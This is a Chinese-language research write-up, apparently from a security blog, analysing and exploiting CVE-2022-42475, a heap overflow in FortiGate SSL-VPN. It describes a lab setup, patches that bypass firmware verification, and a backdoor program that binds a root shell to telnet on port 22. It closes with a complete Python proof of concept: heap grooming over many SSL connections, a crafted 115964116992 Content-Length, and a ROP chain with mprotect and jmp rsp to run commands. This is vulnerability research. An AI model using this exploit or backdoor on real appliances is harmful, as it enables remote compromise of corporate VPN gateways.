CVE-2022-42475 FortiGate SSLVPN 堆溢出漏洞分析与利用

搭建运行环境 可以在 Fortinet 官网下载 FortiGate 的虚拟机镜像. https://support.fortinet.com/Download/VMImages.aspx ‍ 下载 New deployment of xxxx 的 zip 压缩包,比如 FOS_VM64-v7.2.4...

搭建运行环境

可以在 Fortinet 官网下载 FortiGate 的虚拟机镜像.

https://support.fortinet.com/Download/VMImages.aspx

image.png

下载 New deployment of xxxx 的 zip 压缩包,比如 FOS_VM64-v7.2.4.F-build1396-FORTINET.out.ovf.zip 解压之后双击 .ovf 文件,用 vmware station 导入虚拟机即可.

image.png

导入后将虚拟机网卡绑定到 NAT 网卡 (默认是物理桥接,理论上应该也没有问题).

image.png

启动后使用 admin + 空密码登录系统,按提示设置 admin 账户密码,然后给网卡配置 ip,以及允许访问的服务/端口,端口配置如下(NAT网段为 192.168.213.0/24)

image.png

之后访问 80 端口 web 页面,在页面中配置 sslvpn 并增加相应防火墙规则。

vpn 配置

image.png

vpn防火墙配置

image.png

之后访问 sslvpn 的端口,就会出现 vpn 登录页面,至此可以触发漏洞的环境就已经搭建好了。

image.png

搭建调试和漏洞环境

目前 Fortinet 官网只能下载 7.2.4 和 7.0.10 两个版本的镜像,而漏洞是在 7.2.3 版本中被修复,最终漏洞复现方式是下载 7.2.4 版本镜像,然后通过二进制 patch,去掉漏洞的补丁。

提取二进制

二进制程序位于虚拟机磁盘文件中,使用 vmware workstation (Linux 虚拟机)挂载 fortinet 虚拟机的磁盘文件,在虚拟机中挂载分区。

主要业务二进制位于 FORTIOS 分区的 rootfs.gz 打包文件中,使用 gzip + cpio 解压后会出现结果 .tar 文件,使用 rootfs 下的 xz 和 ftar 解压这些文件.

  1. sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
  2. sudo chroot . /sbin/ftar -xf /bin.tar
  3. sudo chroot . /sbin/xz --check=sha256 -d /migadmin.tar.xz
  4. sudo chroot . /sbin/ftar -xf /migadmin.tar
  5. sudo chroot . /sbin/xz --check=sha256 -d /usr.tar.xz
  6. sudo chroot . /sbin/ftar -xf /usr.tar

解压后的目录结构

  1. ┌──(root?kali)-[~/fos]
  2. └─# ls -lh
  3. total 416K
  4. drwxr-xr-x 2 root root 4.0K Mar 6 03:48 bin
  5. -rw-r--r-- 1 root root 256 Jan 31 00:11 bin.tar.xz.chk
  6. drwxr-xr-x 2 root root 4.0K Jan 31 00:10 boot
  7. drwxr-xr-x 3 root root 4.0K Mar 6 01:22 data
  8. drwxr-xr-x 2 root root 4.0K Jan 31 00:10 data2
  9. drwxr-xr-x 7 root root 20K Mar 6 01:22 dev
  10. lrwxrwxrwx 1 root root 8 Mar 6 01:22 etc -> data/etc
  11. lrwxrwxrwx 1 root root 1 Mar 6 01:22 fortidev -> /
  12. lrwxrwxrwx 1 root root 10 Mar 6 01:22 init -> /sbin/init
  13. drwxr-xr-x 3 root root 4.0K Mar 6 01:22 lib
  14. lrwxrwxrwx 1 root root 4 Mar 6 01:22 lib64 -> /lib
  15. drwxr-xr-x 22 root root 12K Mar 6 01:23 migadmin
  16. -rw-r--r-- 1 root root 330K Jan 31 00:11 node-scripts.tar.xz
  17. drwxr-xr-x 2 root root 4.0K Jan 31 00:10 proc
  18. drwxr-xr-x 2 root root 4.0K Mar 6 01:22 sbin
  19. drwxr-xr-x 2 root root 4.0K Jan 31 00:10 sys
  20. drwxr-xr-x 2 root root 4.0K Jan 31 00:10 tmp
  21. drwxr-xr-x 4 root root 4.0K Mar 6 02:59 usr
  22. -rw-r--r-- 1 root root 256 Jan 31 00:11 usr.tar.xz.chk
  23. drwxr-xr-x 8 root root 4.0K Mar 6 01:22 var
  24. ┌──(root?kali)-[~/fos]
  25. └─# ls -lh bin/init
  26. -rwxr-xr-x 1 root root 68M Mar 7 00:28 bin/init
  27. ┌──(root?kali)-[~/fos]
  28. └─# ls -lh bin/sslvpnd
  29. lrwxrwxrwx 1 root root 9 Mar 6 01:23 bin/sslvpnd -> /bin/init

/bin/sslvpnd​ 是本次的分析目标,其实际是指向 /bin/init​ 的软链接.

搭建 GDB 调试环境

登录虚拟机console后,拿到的是一个受限的命令行界面,无法执行 shell 命令,我们需要通过 patch 文件系统和二进制来获取 shell 执行环境.

Fortios 的文件系统校验

系统的内核文件是 FORTIOS 分区的 flatkc 文件(flatkc.chk 是它的签名文件),内核的命令行参数位于 extlinux.conf 文件中.

  1. / # cat /data/extlinux.conf
  2. DISPLAY boot.msg
  3. TIMEOUT 10
  4. TOTALTIMEOUT 9000
  5. DEFAULT flatkc ro panic=5 endbase=0xA0000 console=ttyS0, root=/dev/ram0 ramdisk_size=65536 initrd=/rootfs.gz

使用 vmlinux-to-elf 将其转换为 elf 文件,然后使用 IDA 加载,定位到启动用户态进程的位置

image.png

fgt_verify 用于校验文件系统 hash,校验成功则会启动 /sbin/init 进程,其代码如下

  1. __int64 __fastcall main(__int64 a1, char **a2, char **a3)
  2. {
  3. char *argv[4]; // [rsp+0h] [rbp-20h] BYREF
  4. verify_filesystem();
  5. unlink("/sbin/init.chk");
  6. if ( (int)decompress_dir("bin") >= 0
  7. && (int)decompress_dir("migadmin") >= 0
  8. && (int)decompress_dir("node-scripts") >= 0 )
  9. {
  10. decompress_dir("usr");
  11. }
  12. argv[0] = "/bin/init";
  13. argv[1] = 0LL;
  14. execve("/bin/init", argv, 0LL);
  15. return 0LL;
  16. }

代码逻辑:

  1. 首先校验文件系统
  2. 然后使用 decompress_dir 解压 bin.tar.gz 、migadmin.tar.gz 、node-scripts.tar.gz 、usr.tar.gz
  3. 最后执行 /bin/init .

/bin/init 程序 main 函数中首先会有几处校验,如果校验失败就会调用 do_halt 重启系统.

image.png

其中 verify_kernel_and_rootfs_0 目的是校验内核镜像和文件系统.

image.png

通过 Patch 绕过文件系统校验

再次简单梳理下系统启动校验流程:

  1. 内核解压 rootfs.gz,执行用户态进程 (/sbin/init) 之前会调用 fgt_verify 校验文件系统.
  2. /sbin/init 会解压文件系统,然后执行 /bin/init 进程.
  3. /bin/init 进行多次系统校验,校验失败会重启系统.

Patch 思路:

  1. 手动解压 rootfs.gz 以及其中的各个 tar.gz 文件.
  2. 然后 Patch /bin/init 程序,忽略其中的系统校验逻辑.
  3. 使用 cpio 和 gzip 重新打包 rootfs.gz
  4. 替换 FORTIOS 分区中的 rootfs.gz
  5. 利用 vmware workstation 的 debugStub 机制,调试内核,运行时 Patch 内核中的校验,并修改内存让其直接执行 /bin/init,绕过 /sbin/init 的执行.

/bin/init 程序 Patch 前后对比:

patch前:

image.png

patch 后:

image.png

rootfs.gz 重打包命令

  1. find . | cpio -H newc -o > ../rootfs
  2. gzip rootfs

编辑虚拟机 vmx 文件,增加 debugStub,然后 GDB 调试 Fortios 系统内核

  1. debugStub.listen.guest64 = "TRUE"
  2. debugStub.listen.guest64.remote = "TRUE"
  3. debugStub.port.guest64 = "12345"
  4. debugStub.listen.guest32 = "TRUE"
  5. debugStub.listen.guest32.remote = "TRUE"
  6. debugStub.port.guest32 = "12346"

在 fgt_verify 处下断点,修改其返回值为0,并修改 /sbin/init 字符串为 /bin/init.

image.png

然后让内核继续运行,内核会启动修改过的 /bin/init 并绕过文件系统的校验.

在文件系统中植入后门

在命令行中执行 diagnose hardware smartctl​ 系统会执行 /bin/smartctl 程序,我们可以通过修改 smartctl 来实现执行任意 shell 命令.

操作流程:

  1. 首先下载静态链接的 busybox 并将其放到 /bin/busybox 目录.
  2. 然后静态编译后门程序,替换 /bin/smartctl
  3. 重新打包 rootfs.gz
  4. 进入系统后,执行 diagnose hardware smartctl​ ,触发后门的执行,会在 22 端口监听 telnet 服务.
  5. 从其他机器上 telnet 登录即可拿到 Fortios 的 shell.

后门程序代码:

  1. #include <stdio.h>
  2. void shell(){
  3. system("/bin/busybox ls", 0, 0);
  4. system("/bin/busybox id", 0, 0);
  5. system("/bin/busybox killall sshd &amp;&amp; /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0);
  6. return;
  7. }
  8. int main(int argc, char const *argv[])
  9. {
  10. shell();
  11. return 0;
  12. }

拿到 shell 后,通过 wget 下载静态链接的 gdb 即可调试用户态进程.

复现漏洞&漏洞分析

由于从官网下载到的镜像是已经修复了该漏洞的版本,于是决定根据 网上的漏洞信息 ,在新版二进制中去除漏洞补丁,从而进行漏洞复现.

首先根据漏洞信息 patch 了 malloc 里面的 size 限制

image.png

根据漏洞信息可知,发送过大的 content-length 可以触发漏洞,但是尝试发送比较大的 content-length ,服务器会返回 HTTP/1.1 413 Request Entity Too Large

通过在内存分配函数下断点,记录分配大小,

  1. (gdb) i b
  2. Num Type Disp Enb Address What
  3. 2 breakpoint keep n 0x00000000017e2660
  4. breakpoint already hit 812 times
  5. printf "1'st alloc size: 0x%lx\n", $rdi
  6. c
  7. 3 breakpoint keep n 0x00000000017e2a20
  8. printf "2'st alloc size: 0x%lx\n", $rdi
  9. c

image.png

当 content-length 值较小时会作为 size 向进程申请内存,值比较大时就不会出现在内存分配函数中,猜测程序可能还有几处其他的 patch 校验了 content-length。

经过尝试,发现进程通过 SSL_read 接受 http 请求数据.

  1. Breakpoint 5, 0x00007fd841013400 in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.3
  2. (gdb) bt
  3. #0 0x00007fd841013400 in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.3
  4. #1 0x00000000016bbb86 in ?? ()
  5. #2 0x00000000016bc5a1 in ?? ()
  6. #3 0x00000000016cbf9a in ?? ()
  7. #4 0x00000000017e802f in ?? ()
  8. #5 0x00000000017e924b in ?? ()
  9. #6 0x00000000017eafbd in ?? ()
  10. #7 0x00000000017ec670 in ?? ()
  11. #8 0x00000000017ec74e in ?? ()
  12. #9 0x00000000017ecc59 in ?? ()
  13. #10 0x00000000017edf1c in ?? ()
  14. #11 0x00000000017ef2f9 in ?? ()
  15. #12 0x0000000000448ccf in ?? ()
  16. #13 0x0000000000451eea in ?? ()
  17. #14 0x000000000044ea5b in ?? ()
  18. #15 0x0000000000451098 in ?? ()
  19. #16 0x0000000000451a67 in ?? ()
  20. #17 0x00007fd84154ddeb in __libc_start_main () from /usr/lib/x86_64-linux-gnu/libc.so.6
  21. #18 0x0000000000443d3a in ?? ()

一层一层回溯,看是否给客户端返回了错误码 ( 513 ​),发现在 17E9220 , v6 + 136 里面存的是状态码,sub_16C7610 会解析状态码。

  1. __int64 __fastcall sub_17E9220(_QWORD *a1, unsigned int a2, unsigned int a3, unsigned int a4)
  2. {
  3. __int64 v6; // r12
  4. int v7; // eax
  5. __int64 result; // rax
  6. int v9; // er9
  7. int v10; // eax
  8. unsigned int v11; // eax
  9. __int64 v12; // rdx
  10. unsigned int v13; // [rsp+Ch] [rbp-34h]
  11. v6 = a1[92];
  12. v7 = sub_17E7FB0(v6);
  13. if ( v7 > 0 )
  14. {
  15. result = a2;
  16. if ( !*(v6 + 72) )
  17. return result;
  18. if ( !*(v6 + 80) )
  19. {
  20. if ( sub_16B2B80(*(v6 + 280), "Transfer-Encoding") )
  21. {
  22. if ( sub_16B2B80(*(v6 + 280), "Content-Length") )
  23. sub_16B2F00(*(v6 + 280), "Content-Length");
  24. }
  25. return sub_17E8840(a1);
  26. }
  27. sub_1734180(a1, 8LL, "client sent invalid HTTP/0.9 request: HEAD %s\n", *(v6 + 384));
  28. *(v6 + 80) = 0;
  29. *(v6 + 136) = 400;
  30. LABEL_9:
  31. *(v6 + 782) &amp;= 0xE7u;
  32. sub_16C7610(v6, 0LL);
  33. sub_17EA4A0(a1, &amp;dword_55331A0, 48LL);
  34. return 6LL;
  35. }
  36. v9 = v7;
  37. v10 = *(v6 + 136);
  38. if ( v10 == 414 || v10 == 405 )
  39. {
  40. sub_1734180(a1, 8LL, "request failed: URI too long or method not allowed\n");
  41. goto LABEL_9;
  42. }
  43. v13 = v9;
  44. v11 = sub_16BCE60(*(*(v6 + 8) + 40LL));
  45. v12 = v11;
  46. if ( v11 > 5 )
  47. {
  48. result = 6LL;
  49. if ( v12 != -2 )
  50. {
  51. sub_1734180(a1, 128LL, "%s,%d, ret=%d error=%d, sconn=%p.\n", "sslvpn_read_request_common", 677LL, v13, v12, a1);
  52. result = 7LL;
  53. }
  54. }
  55. else
  56. {
  57. result = a3;
  58. if ( v12 != 1 )
  59. {
  60. result = 0LL;
  61. if ( v12 == 2 )
  62. result = a4;
  63. }
  64. }
  65. return result;
  66. }

给 v6 + 136 下写断点,定位到修改响应码为 413 的位置和调用栈.

image.png

校验 content-length 的相关代码

  1. __int64 __fastcall sub_16C61D0(__int64 a1, unsigned int a2, int a3)
  2. {
  3. v3 = a3;
  4. v4 = a2;
  5. v6 = *(a1 + 280);
  6. content_length = find_header(*(a1 + 280), "Content-Length");
  7. v17 = strtoull(content_length, endptr, 10); // content-length 转数字
  8. *(a1 + 240) = v17;
  9. if ( *v16 || endptr[0] &amp;&amp; *endptr[0] || v17 < 0 )
  10. {
  11. sub_1734180(*(*(a1 + 8) + 368LL), 8LL, "Invalid Content-Length\n");
  12. result = 400LL;
  13. *(a1 + 136) = 400;
  14. return result;
  15. }
  16. v4 = *(a1 + 260);
  17. result = 0LL;
  18. if ( v3 )
  19. {
  20. v11 = *(a1 + 240; // 取出 content-length
  21. if ( v11 > 0 &amp;&amp; v11 > v3 ) // [0] 校验 content-length
  22. {
  23. sub_1734180(*(*(a1 + 8) + 368LL), 8LL, "Content-Length too large: %s\n", v9);
  24. result = 413LL;
  25. *(a1 + 136) = 413; // 设置状态码
  26. }
  27. }

patch 条件 [0]​ 去掉校验

  1. set *(unsigned char*)0x16c62dd=0xeb

根据调试还有 16B1F74​ 的 size​ 校验需要 patch。

image.png

以上是 Fortios 对 content-length 做的限制,实际本次漏洞的根因代码位于 0x17F1590 处的 sslvpn_read_post_data_cb 函数

image.png

上图是 7.2.4 中修复后的版本,用于理清收包逻辑:

  1. 首先使用 v2->content_length + 1 作为 size 去申请内存.
  2. 然后调用 read_data 往 ctx->sock_buffer 里面读取数据,最多读取 0x1ffe,如果实际 content-length 大于 0x1ffe,会多次进入该数据分批读取数据.
  3. 之后根据受到的内容和实际 v2->content_length 的值计算数据拷贝大小,避免溢出 ctx->content.
  4. 最后调用 memcpy 拷贝数据.

content_length 在 0x16C6375 解析,长度为 8 字节.

image.png

漏洞位于 sslvpn_read_post_data_cb​ 取 content_length​ 字段时是先取 4 字节,然后符号扩展成 8 字节,而后面使用该字段均是直接从结构体中取 8 字节数据 ​.

存在漏洞的版本

  1. mov eax, [rax+18h] // DWORD(ctx->content_length)
  2. mov rdi, [r12]
  3. lea esi, [rax+1] // DWORD(ctx->content_length) + 1
  4. movsxd rsi, esi
  5. call alloc

7.2.4 修复后的版本

  1. .text:00000000017F1638 mov rax, [rax+18h] // ctx->content_length
  2. .text:00000000017F163C mov rdi, [r12]
  3. .text:00000000017F1640 lea rsi, [rax+1] // ctx->content_length + 1
  4. .text:00000000017F1644 call alloc

当提供的 content_length 为 0x1b00000000 时,由于 DWORD(ctx->content_length) = 0​ ,因此实际申请内存为 1 字节,而下面做内存拷贝时取到的 content-length 为 0x1b00000000,从而导致堆溢出漏洞

此处 patch 的方式是找一块不会被执行的代码 (16C62DF),然后把存在漏洞的汇编代码写到16C62DF,修改 17F1638 处的代码为 jmp 16C62DF​ ,计算 rsi 完成后再跳转回来继续执行后面的代码,如下所示:

  1. .text:00000000017F1638
  2. .text:00000000017F1638 loc_17F1638: ; CODE XREF: sslvpn_read_post_data_cb+29j
  3. .text:00000000017F1638 jmp loc_16C62DF ; Keypatch modified this from:
  4. .text:00000000017F1638 ; mov rax, [rax+18h]
  5. .text:00000000017F1638 ; mov rdi, [r12]
  6. .text:00000000017F1638 ; Keypatch padded NOP to next boundary: 3 bytes
  7. .text:00000000017F1638 ; ---------------------------------------------------------------------------
  8. .text:00000000017F163D align 20h
  9. .text:00000000017F1640 nop ; size
  10. .text:00000000017F1640 ; Keypatch modified this from:
  11. .text:00000000017F1640 ; lea rsi, [rax+1]
  12. .text:00000000017F1640 ; Keypatch padded NOP to next boundary: 3 bytes
  13. .text:00000000017F1641 nop
  14. .text:00000000017F1642 nop
  15. .text:00000000017F1643 nop
  16. .text:00000000017F1644
  17. .text:00000000017F1644 loc_17F1644: ; CODE XREF: sub_16C61D0+11Cj
  18. .text:00000000017F1644 call alloc
  19. .text:00000000017F1649 mov [rbx+8], rax
  20. ........
  21. .text:00000000016C62DF
  22. .text:00000000016C62DF loc_16C62DF: ; CODE XREF: sslvpn_read_post_data_cb:loc_17F1638j
  23. .text:00000000016C62DF mov eax, [rax+18h] ; Keypatch modified this from:
  24. .text:00000000016C62DF ; mov rdx, [rbx+0F0h]
  25. .text:00000000016C62DF ; Keypatch padded NOP to next boundary: 3 bytes
  26. .text:00000000016C62DF ; Keypatch modified this from:
  27. .text:00000000016C62DF ; mov rax, [rax+18h]
  28. .text:00000000016C62DF ; Keypatch padded NOP to next boundary: 1 bytes
  29. .text:00000000016C62E2 mov rdi, [r12] ; Keypatch modified this from:
  30. .text:00000000016C62E2 ; nop
  31. .text:00000000016C62E2 ; nop
  32. .text:00000000016C62E2 ; nop
  33. .text:00000000016C62E2 ; nop
  34. .text:00000000016C62E6 lea esi, [rax+1] ; Keypatch modified this from:
  35. .text:00000000016C62E6 ; test rdx, rdx
  36. .text:00000000016C62E9 movsxd rsi, esi ; Keypatch modified this from:
  37. .text:00000000016C62E9 ; jle short loc_16C62AF
  38. .text:00000000016C62E9 ; cmp rdx, r13
  39. .text:00000000016C62E9 ; Keypatch padded NOP to next boundary: 2 bytes
  40. .text:00000000016C62EC jmp loc_17F1644 ; Keypatch modified this from:
  41. .text:00000000016C62EC ; nop
  42. .text:00000000016C62EC ; nop
  43. .text:00000000016C62EC ; jle short loc_16C62AF
  44. .text:00000000016C62EC ; mov rax, [rbx+8]
  45. .text:00000000016C62EC ; Keypatch padded NOP to next boundary: 3 bytes

漏洞利用

结合之前 DEVCORE 利用 Fortios 堆溢出漏洞的经验,以及一些测试,通过发起多个 http 连接,可以让堆中分配多个 SSL 结构体,这样触发溢出,就会溢出到函数指针,且溢出到函数指针后 rdx 指向可控数据,使用栈迁移相关的 gadget 即可完成利用.

此外由于 Fortios 的特点,进程崩溃后会立刻重启,因此可以多次尝试,直至溢出到函数指针,然后 ROP。

二进制保护措施情况

  1. ┌──(kalikali)-[~]
  2. └─$ checksec --file=init
  3. RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
  4. Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols Yes 10 47 init

实际利用思路 (某些步骤不一定需要或者有用):

  1. 创建 60 个 sock 连接,并发送不完整的 http 请求,希望能在服务端分配多个 SSL 结构体
  2. 从第 40 个开始间隔释放 10 个 sock 链接,希望在服务端释放几个 SSL 结构体的 Hole.
  3. 分配用于溢出的 exp_sk
  4. 再分配 20 个 sock 连接,多分配几个 SSL 结构体
  5. 触发溢出,希望修改 SSL 结构体中的函数指针
  6. 给其他 socket 发送数据,等待函数指针调用
  7. 劫持函数指针后,切换栈到可控数据区,然后 ROP 计算栈地址,调用 mprotect 让栈区有可执行权限
  8. jmp esp 跳转到栈上的 shellcode 执行。

执行 shellcode 时的调试器上下文如下:

image.png

​​

poc

  1. import socket
  2. import ssl
  3. from pwn import *
  4. import pwn
  5. path = "/remote/login".encode()
  6. content_length = ["2147483647", "666666", "123412"]
  7. content_length = ["666666"]
  8. content_length = ["2147483647"]
  9. content_length = ["115964116992"]
  10. ip = "192.168.213.133"
  11. port = 4443
  12. # rdx --> data
  13. stack_povit = 0x0000000001350680 # push rdx ; pop rsp ; add ebx, ebp ; ret
  14. system_plt = 0x043ECC0
  15. writeable_address = 0x047759F4
  16. cmd = "/bin/busybox id >> /tmp/pwn.log\x00"
  17. def create_ssl_ctx():
  18. _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  19. _socket.connect((ip, port))
  20. _default_context = ssl._create_unverified_context()
  21. _socket = _default_context.wrap_socket(_socket)
  22. return _socket
  23. socks = []
  24. for i in range(60):
  25. sk = create_ssl_ctx()
  26. data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.232.129\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
  27. sk.sendall(data)
  28. socks.append(sk)
  29. for i in range(20, 40, 2):
  30. sk = socks[i]
  31. sk.close()
  32. socks[i] = None
  33. CL = "115964116992"
  34. data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.232.129\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
  35. exp_sk = create_ssl_ctx()
  36. for i in range(20):
  37. sk = create_ssl_ctx()
  38. socks.append(sk)
  39. exp_sk.sendall(data)
  40. payload = cyclic(40000)
  41. payload = b"x" * (3613 - 192)
  42. """
  43. 0x0000000001356e88 : mov rax, rdx ; pop rbp ; ret
  44. 0x0000000000550a38 : mov rax, rdx ; ret
  45. 0x000000000076e03e : pop rcx ; ret
  46. 0x0000000002c2c9b0 : and rax, rcx ; ret
  47. 0x000000000053d5a5 : pop rdi ; ret
  48. 0x0000000000687c69 : pop rsi ; ret
  49. 0x0000000001f407f4 : mov rdx, rax ; sub rdx, rdi ; sub qword ptr [rsi], rdx ; ret
  50. 0x0000000000687c69 : pop rsi ; ret
  51. 0x000000000045da22 : mov rdi, rdx ; test esi, esi ; jne 0x45da30 ; ret
  52. 0x0000000000687c69 : pop rsi ; ret
  53. 0x000000000043f942 : pop rdx ; ret
  54. 0x00000000005ecfe6 : jmp rsp
  55. """
  56. mov_rax_rdx_ret = 0x0000000000550a38
  57. pop_rcx_ret = 0x000000000076e03e
  58. and_rax_rcx_ret = 0x0000000002c2c9b0
  59. pop_rdi_ret = 0x000000000053d5a5
  60. pop_rsi_ret = 0x0000000000687c69
  61. mov_rdx_rax_ret = 0x0000000001f407f4
  62. mov_rdi_rdx_ret = 0x000000000045da22
  63. pop_rdx_ret = 0x000000000043f942
  64. mprotect_plt = 0x0043F460
  65. jmp_rsp = 0x00000000005ecfe6
  66. gadget = b""
  67. gadget += pwn.p64(mov_rax_rdx_ret)
  68. # for dirty write, 进程会修改该处栈数据
  69. gadget += pwn.p64(pop_rcx_ret)
  70. gadget += pwn.p64(0x0000000001356e88)
  71. gadget += pwn.p64(pop_rcx_ret)
  72. gadget += pwn.p64(0xfffffffffffff000)
  73. gadget += pwn.p64(and_rax_rcx_ret)
  74. gadget += pwn.p64(pop_rdi_ret)
  75. gadget += pwn.p64(0)
  76. gadget += pwn.p64(pop_rsi_ret)
  77. gadget += pwn.p64(writeable_address)
  78. gadget += pwn.p64(mov_rdx_rax_ret)
  79. gadget += pwn.p64(pop_rsi_ret)
  80. gadget += pwn.p64(0)
  81. gadget += pwn.p64(mov_rdi_rdx_ret)
  82. gadget += pwn.p64(pop_rsi_ret)
  83. gadget += pwn.p64(0x4000)
  84. gadget += pwn.p64(pop_rdx_ret)
  85. gadget += pwn.p64(7)
  86. gadget += pwn.p64(mprotect_plt)
  87. gadget += pwn.p64(jmp_rsp)
  88. gadget += b"\xf8" * 12
  89. assert(len(gadget) <= 192)
  90. victim_obj = gadget
  91. victim_obj += b"\xf2" * (192 - len(victim_obj))
  92. victim_obj += pwn.p64(stack_povit)
  93. payload += victim_obj
  94. exp_sk.sendall(payload)
  95. for sk in socks:
  96. if sk:
  97. data = b"b" * 40
  98. sk.sendall(data)
  99. print("done")

相关参考资料

  1. https://f01965.com/2021/02/18/fortigate/
  2. https://f01965.com/2021/02/25/fortigate-Vulnerability/
  3. https://wzt.ac.cn/2022/12/15/CVE-2022-42475/
  4. https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

  • 发表于 2023-03-15 09:00:01
  • 阅读 ( 25016 )
  • 分类:漏洞分析

3 条评论

hac425
hac425

19 篇文章

站长统计